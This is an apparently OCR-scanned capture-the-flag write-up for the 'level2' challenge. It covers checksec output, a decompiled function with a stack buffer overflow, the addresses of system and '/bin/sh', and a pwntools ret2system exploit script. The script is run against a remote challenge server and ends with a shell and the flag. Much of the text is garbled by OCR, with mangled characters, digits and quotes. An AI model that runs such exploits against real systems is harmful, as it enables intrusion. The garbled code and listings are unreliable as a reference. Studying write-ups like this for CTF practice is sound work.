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checksec:

root@at-ubuntu:/home/atfwus/rop# checksec levell
[*]1 '/home/atfwus/rop/level2’

Arch: 1386-32-little

RELRO:

Stack:
NX:
PIE:
root@at -ubuntu:/home/atfwus/rop# |

321 EFF, JFENX.

nt __cdecl main(int argc, const char **argv, const char **envp)

14
{

M b

vulnerable_function();
system("echo 'Hello World!'");
return 6;

}
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ssize_t vulnerable_function()

{
char buf; // [esp+@h] [ebp-88h]

system(“"echo Input:");
return read(@, &buf, ©xleeu);
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RILAGH T system, {H2S5IF A Z/bin/sh, JGHifAreadki%l, fAretkii, k434K, &L Abin/sh:

Address Length Type String

‘s’ LOAD:080--- 00000013 C /1ib/1d-linux. so. 2
‘s’ LOAD:080--- 00000004 C libe. s0. 6

's’] LOAD:080--- 0000000F C _I0_stdin_used

‘5’ LOAD:080-+-- 00000005 C read

‘5’ LOAD:080-+- 00000007 C system

‘5’ LOAD:080-+- 00000012 C _ libe_start_main

‘5’ LOAD: 080+~ 0000000F C __gmon_start__

‘5’ LOAD: 080+~ 00000004 C GLIBC 2.0

‘s’ .rodata:- 0000000C C echo Input:

‘2’ rodata:e 00000014 C echo "Hello World!”
‘s’ . eh frame+ 00000005 C 2N

¥ . data: 08+ 00000008 C /bin/sh

RIRIFAE

" |.data:eB8e4Ae2l db e

® |.data:8804A822 : db e

° .data:esemezs/ db e
.data:es8e4Ae24 public hint

“ |.data:0804A024 hint db '/bin/sh',®
.data:8804A824 _data ends

.data:e804A6824
.bss:e8e4Ae2C ;
.bss:8804A02C
.bss:0804A02C ; Segment type: Uninitialized
.bss:0804A02C ; Segment permissions: Read/Write

.bss:0804A02C _bss segment byte public 'BSS' use32
.bss:8804A02C assume cs:_bss
.bss:@804A02C ;org 8e4Ae2Ch
.bss:e804A02C assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0804A02C public __bss_start

“ |.bss:@804A02C _ bss_start db ? ; DATA XREF: deregister_tm_clones+5to
.bss:eg8e4Ae2C ; deregister_tm_clones+1ETo ...
.bss:8884A82C ; Alternative name is '__TMC_END__ '
.bss:8804A02C ; completed.7181
.bss:@804A02C ; _edata

® |.bss:@804A02D db ?

® |.bss:9804A02E db ?

“ |.bss:@804A02F unk_804A82F db ? ; DATA XREF: deregister_tm_clonesto
.bss:@804A02F _bss ends

.bss:0804A02F
.prgend:0804A830 ;
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char buf; // [esp+Bh] [ebp-88h]

0x02.exp



##!/usr/bin/env python

from pwn import*
r=remote("111.198.29.45",47065)
#r=process('./level2")

system_adr=0x08048320
bin_sh_adr=0x0804A024
payload=140*"A"'+p32(system_adr)+p32(0)+p32(bin_sh_adr)

r.recvuntil(":")
r.sendline(payload)
r.interactive()

root@at-ubuntu: /home/atfwus/rop# python explevel2.py
[+] Opening connection to 111.198.29.45 on port 47065: Done
[*] Switching to interactive mode

$ 1s
bin
dev
flag

level2

181]

1ib32

1ib64

$ cat flag
cyberpeace{594c75e265b522595a6a1952cefe29d4}
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